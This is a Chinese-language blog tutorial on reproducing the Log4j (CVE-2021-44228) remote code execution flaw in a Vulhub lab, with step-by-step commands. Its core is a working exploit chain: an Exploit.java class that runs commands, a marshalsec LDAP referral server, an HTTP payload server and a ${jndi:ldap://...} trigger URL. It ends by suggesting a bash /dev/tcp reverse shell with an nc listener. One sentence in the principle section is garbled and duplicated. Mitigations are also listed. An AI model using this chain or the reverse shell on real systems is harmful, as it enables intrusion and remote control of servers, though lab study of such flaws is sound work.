从零开始学漏洞复现:以 Log4j 为例,计算机人能看懂的 “原理 + 实操” 教程(附环境搭建)

从零开始学漏洞复现:以 Log4j 为例,计算机人能看懂的 “原理 + 实操” 教程(附环境搭建)

在这里插入图片描述

很多计算机学生和转行从业者觉得 “漏洞复现门槛高,需要高深代码能力”,其实像 Log4j(CVE-2021-44228)这种经典漏洞,只要理解 “核心原理 + 会用基础工具”,零基础也能完成复现。更重要的是,漏洞复现是网络安全入门的 “核心技能”—— 能帮你理解 “漏洞如何产生、如何利用”,比单纯学工具命令更能提升实战能力。

这篇教程完全从 “新手视角” 出发,用通俗语言讲清 Log4j 漏洞原理,用 “虚拟机 + 开源工具” 搭建复现环境(成本 0 元),每步操作都附 “命令 + 截图提示”,甚至标注 “容易出错的地方”,确保你能跟着做、做得出,做完还能搞懂 “背后的逻辑”。

一、先搞懂:Log4j 漏洞到底是什么?(3 分钟看懂核心原理)

在复现前,先花 3 分钟搞懂 “为什么 Log4j 会有漏洞”,避免 “只会点鼠标,却不知道原理”。

1. 先明确 2 个基础概念

  • Log4j 是什么:它是 Apache 的一个 “日志记录工具”,很多 Java 程序(比如电商网站、APP 后端)都会用它记录操作日志(比如 “用户登录了”“用户下单了”),相当于程序的 “记事本”。

  • JNDI 是什么:简单理解为 “Java 的一个‘资源查找工具’”—— 程序可以通过 JNDI 去 “远程服务器” 上找需要的资源(比如数据库配置、文件),不用把资源存在本地。

2. 漏洞原理:一句话讲清

Log4j 在记录日志时,会 “解析日志里的特殊语法”(比如 x x x )。如果攻击者在日志内容里插入“ J N D I 调用语句”(比如 {xxx})。如果攻击者在日志内容里插入 “JNDI 调用语句”(比如 xxx)。如果攻击者在日志内容里插入JNDI调用语句(比如{jndi:ldap://攻击服务器/恶意代码}),Log4j 就会 “傻傻地” 去调用远程服务器上的恶意代码,最终让攻击者控制目标程序。

举个通俗例子:

你用 Log4j 记录 “用户输入的搜索关键词”,正常用户输入 “手机”,日志记录 “用户搜索:手机”;但攻击者输入${jndi:ldap://attacker.com/badcode},Log4j 会解析这个语句,去attacker.com上找 “badcode” 并执行 —— 相当于程序主动 “去敌人家里拿炸弹”,这就是漏洞的核心。

3. 关键结论(复现前必须记住)

  • 漏洞影响:所有使用 Log4j 2.x 版本(2.0-beta9 到 2.14.1)的 Java 程序,几乎覆盖 80% 的 Java 后端系统;

  • 复现核心:需要 “目标程序(有 Log4j 漏洞)+ 攻击服务器(提供恶意代码)”,两者配合才能触发漏洞。

二、环境搭建:3 步搞定,用虚拟机 + 开源工具(成本 0 元)

不用买云服务器,用 “VMware 虚拟机 + 3 个开源工具” 就能搭好环境,电脑 8GB 内存就能跑(4GB 内存也能试,关闭其他软件即可)。

准备工具清单(全免费,附下载地址)

工具名称用途下载地址
VMware Workstation Player装虚拟机(跑目标程序和攻击工具)https://www.vmware.com/cn/products/workstation-player.html(选免费版)
Ubuntu 20.04虚拟机系统(推荐 64 位,兼容性好)https://ubuntu.com/download/desktop(下载 ISO 镜像)
Vulhub包含 Log4j 漏洞的目标程序(一键部署)https://github.com/vulhub/vulhub(开源项目,直接在 Ubuntu 里拉取)
JDK 1.8运行 Java 程序(目标程序需要)https://www.oracle.com/java/technologies/downloads/#java8(选 Linux 版本)
marshalsec生成恶意 LDAP 服务(攻击工具)https://github.com/mbechler/marshalsec(开源项目,Java 编写)

Step 1:装 Ubuntu 虚拟机(基础环境)

  1. 新建虚拟机:打开 VMware→“创建新虚拟机”→选 “典型”→“安装程序光盘映像文件(ISO)”→选择下载的 Ubuntu 20.04 ISO 文件→下一步;

  2. 设置参数:输入虚拟机名称(比如 “Log4j-Test”)→选择安装路径(空闲空间≥20GB)→磁盘大小设为 20GB→完成;

  3. 启动安装:开启虚拟机,选 “Install Ubuntu”→语言选 “中文”→键盘布局默认→“正常安装”→“清除整个磁盘并安装 Ubuntu”(虚拟机里的磁盘,不会影响电脑本地数据)→等待安装完成(约 10 分钟,期间设置用户名和密码,比如用户名 “log4jtest”,密码 “123456”)。

避坑点:安装时别选 “最小安装”,否则会缺少很多基础命令(比如git),后续还要补装,浪费时间。

Step 2:部署 “有 Log4j 漏洞的目标程序”(用 Vulhub)

Vulhub 是一个 “漏洞环境集合”,里面有现成的 Log4j 漏洞程序,不用自己写代码,一键就能启动。

  1. 安装基础依赖(打开 Ubuntu 的终端,复制粘贴以下命令,按回车执行,每步执行完再打下一个):
# 更新软件源
sudo apt update
# 安装docker(Vulhub需要docker运行)
sudo apt install -y docker.io
# 安装docker-compose(管理docker容器)
sudo apt install -y docker-compose
# 启动docker服务
sudo systemctl start docker
# 设置docker开机启动(避免重启虚拟机后要重新启动)
sudo systemctl enable docker
  1. 拉取 Vulhub 并启动 Log4j 环境
# 安装git(拉取Vulhub代码)
sudo apt install -y git
# 拉取Vulhub代码到本地
git clone https://github.com/vulhub/vulhub.git
# 进入Log4j漏洞环境目录
cd vulhub/log4j/CVE-2021-44228
# 启动漏洞环境(第一次启动会下载镜像,约5-10分钟,耐心等)
sudo docker-compose up -d
  1. 验证环境是否启动成功

执行sudo docker ps,如果看到 “STATUS” 列显示 “Up”,说明目标程序已启动,端口是 “8983”(后续访问用)。

Step 3:搭建 “攻击服务器”(生成恶意代码)

攻击服务器需要做 2 件事:① 提供恶意代码;② 用 LDAP 服务引导目标程序加载恶意代码,这里用 “marshalsec” 工具实现。

  1. 安装 JDK 1.8(marshalsec 需要 Java 环境)
  • 先把下载的 JDK 压缩包(比如jdk-8u381-linux-x64.tar.gz)复制到 Ubuntu 虚拟机里(比如桌面);

  • 执行以下命令解压并配置环境变量:

# 解压JDK到/usr/local目录
sudo tar -zxvf ~/Desktop/jdk-8u381-linux-x64.tar.gz -C /usr/local/
# 配置环境变量(编辑profile文件)
sudo nano /etc/profile
# 在文件末尾添加以下内容(按Ctrl+O保存,Ctrl+X退出)
export JAVA_HOME=/usr/local/jdk1.8.0_381
export PATH=$JAVA_HOME/bin:$PATH
export CLASSPATH=.:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar
# 使环境变量生效
source /etc/profile
# 验证JDK是否安装成功(显示java version "1.8.0_381"说明成功)
java -version
  1. 编译运行 marshalsec
# 拉取marshalsec代码
git clone https://github.com/mbechler/marshalsec.git
# 进入marshalsec目录
cd marshalsec
# 用maven编译(先安装maven)
sudo apt install -y maven
mvn clean package -DskipTests

编译完成后,会在target目录下生成marshalsec-0.0.3-SNAPSHOT-all.jar(这是我们要用的攻击工具)。

三、漏洞复现:5 步实操,从 “触发漏洞” 到 “获取控制”

复现核心逻辑:让 “目标程序(有 Log4j 漏洞)” 通过 JNDI 调用 “攻击服务器的恶意代码”,最终执行我们指定的命令(比如弹出计算器,证明漏洞触发成功)。

Step 1:编写恶意代码(让目标程序执行我们的命令)

我们要让目标程序执行 “弹出计算器” 的命令(Windows 系统用calc.exe,Ubuntu 用gnome-calculator),先写一个简单的 Java 恶意类:

  1. 在 Ubuntu 桌面新建Exploit.java文件(右键→“新建文档”→“空白文档”,命名为Exploit.java);

  2. 复制以下代码到文件中(注意:cmd变量里的命令,根据目标程序系统改 —— 这里目标程序在 Ubuntu 里,所以用gnome-calculator;如果是 Windows 目标,改成calc.exe):

import java.io.IOException;

public class Exploit {
    static {
        try {
            // 要执行的命令:弹出Ubuntu计算器
            String cmd = "gnome-calculator";
            Runtime.getRuntime().exec(cmd);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}
  1. 编译这个 Java 文件(打开终端,进入桌面目录,执行命令):
cd ~/Desktop
javac Exploit.java

执行后会生成Exploit.class文件(这是编译后的恶意代码,后续要让目标程序加载)。

Step 2:启动 HTTP 服务,让目标程序能下载恶意代码

目标程序需要从我们的攻击服务器下载Exploit.class,所以用 Python 搭一个简单的 HTTP 服务(端口用 8000):

在终端执行(确保当前目录是桌面,即Exploit.class所在目录):

python3 -m http.server 8000

执行后,终端会显示 “Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/)”,说明 HTTP 服务已启动 —— 目标程序访问http://攻击服务器IP:8000/Exploit.class就能下载恶意代码。

注意:攻击服务器 IP 就是 Ubuntu 虚拟机的 IP,执行ifconfig(或ip addr)查看,比如192.168.159.130(后续要用到)。

Step 3:启动 LDAP 服务,引导目标程序加载恶意代码

用 marshalsec 启动 LDAP 服务,告诉目标程序 “去 HTTP 服务地址下载恶意代码”:

  1. 打开一个新的终端(别关之前的 HTTP 服务终端),进入 marshalsec 的target目录:
cd ~/marshalsec/target
  1. 执行以下命令启动 LDAP 服务(把攻击服务器IP换成你 Ubuntu 的 IP,比如192.168.159.130):
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://攻击服务器IP:8000/#Exploit" 1389

执行后,终端显示 “Listening on 0.0.0.0:1389”,说明 LDAP 服务已启动。

  • 1389是 LDAP 服务的默认端口;

  • http://攻击服务器IP:8000/#Exploit:告诉目标程序 “去这个 HTTP 地址下载 Exploit.class,然后执行”。

Step 4:触发漏洞(让目标程序执行恶意代码)

现在要让 “有 Log4j 漏洞的目标程序” 解析我们构造的 “恶意日志内容”,触发漏洞:

  1. 目标程序的地址是http://虚拟机IP:8983/solr/admin/cores?action=(虚拟机 IP 就是 Ubuntu 的 IP,比如192.168.159.130);

  2. 在这个地址后面拼接 “恶意 JNDI 语句”,完整 URL 如下(把攻击服务器IP换成你的 Ubuntu IP):

http://192.168.159.130:8983/solr/admin/cores?action=${jndi:ldap://攻击服务器IP:1389/Exploit}
  1. 打开 Ubuntu 的浏览器,输入这个完整 URL,按回车访问。

Step 5:验证漏洞是否触发成功

如果看到 Ubuntu 桌面弹出 “计算器” 窗口,说明漏洞复现成功!—— 这证明目标程序已经执行了我们在Exploit.java里写的gnome-calculator命令。

避坑点:如果没弹出计算器,先检查 3 个地方:① HTTP 服务是否在运行(终端是否显示 “GET /Exploit.class”);② LDAP 服务是否有请求日志(终端是否显示 “Handling reference request for Exploit”);③ Exploit.java里的命令是否正确(Ubuntu 用gnome-calculator,别写错)。

四、复现后必做:理解 “漏洞利用链”+ 防御方法

复现不是终点,重点是理解 “整个流程如何串联”,以及 “如何防御这类漏洞”—— 这才是企业招聘时看重的能力。

1. 漏洞利用链拆解(一句话总结)

目标程序(Log4j 漏洞)→ 解析 URL 中的${jndi:ldap://…}→ 访问攻击服务器的 LDAP 服务→ LDAP 服务返回 “HTTP 下载地址”→ 目标程序从 HTTP 服务下载Exploit.class→ 执行恶意代码(弹出计算器)。

2. Log4j 漏洞的 3 种核心防御方法

  • 方法 1:升级 Log4j 版本:把 Log4j 升级到 2.15.0 及以上版本(官方已修复漏洞),这是最根本的方法;

  • 方法 2:禁用 JNDI 功能:在 Log4j 的配置文件中添加log4j2.formatMsgNoLookups=true,禁止解析${xxx}这类特殊语法;

  • 方法 3:过滤恶意请求:在服务器(如 Nginx、Apache)上配置规则,过滤包含jndi:ldap://、jndi:rmi://的请求,阻止恶意语句进入程序。

3. 新手进阶:尝试执行更复杂的命令

弹出计算器只是 “证明漏洞存在”,实际渗透中攻击者会执行更危险的命令(比如获取 shell)。你可以尝试修改Exploit.java里的命令,比如:

  • 执行whoami(查看目标程序的运行用户):把cmd改成"whoami > /tmp/whoami.txt",执行后查看/tmp/whoami.txt文件;

  • 反弹 shell(获取目标程序的控制权):用bash -i >& /dev/tcp/攻击服务器IP/4444 0>&1(需要先在攻击服务器用nc -lvp 4444监听端口)。

五、总结:漏洞复现的核心是 “拆解流程 + 动手试错”

对计算机学生和转行从业者来说,Log4j 漏洞复现是 “入门漏洞分析的最佳案例”—— 它涵盖了 “JNDI 调用”“远程代码执行”“服务搭建” 等多个核心知识点,而且环境容易搭建,步骤可复现。

刚开始复现可能会遇到 “命令报错”“服务起不来” 等问题,但不用慌 —— 每解决一个问题,就是一次能力提升。比如我第一次复现时,因为把gnome-calculator写成calc,卡了半小时才发现命令错

网络安全学习资料分享

为了帮助大家更好的学习网络安全,我把我从一线互联网大厂薅来的网络安全教程及资料分享给大家,里面的内容都是适合零基础小白的笔记和资料,不懂编程也能听懂、看懂,朋友们如果有需要这套网络安全教程+进阶学习资源包,可以扫码下方二维码限时免费领取(如遇扫码问题,可以在评论区留言领取哦)~

在这里插入图片描述

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值